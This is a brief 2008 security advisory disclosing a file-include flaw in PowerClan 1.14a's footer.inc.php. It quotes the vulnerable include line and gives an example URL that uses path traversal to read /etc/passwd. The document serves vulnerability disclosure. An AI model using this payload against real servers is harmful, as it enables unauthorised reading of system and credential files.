[DSECRG-08-020] Digital Security Research Group [DSecRG] Advisory       


Application:                    PowerClan
Versions Affected:              1.14a
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Remote/Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        ..2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
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Remote/Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
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 include($settings[footer]);

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Example:

http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd



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DIGITAL SECURITY RESEARCH GROUP

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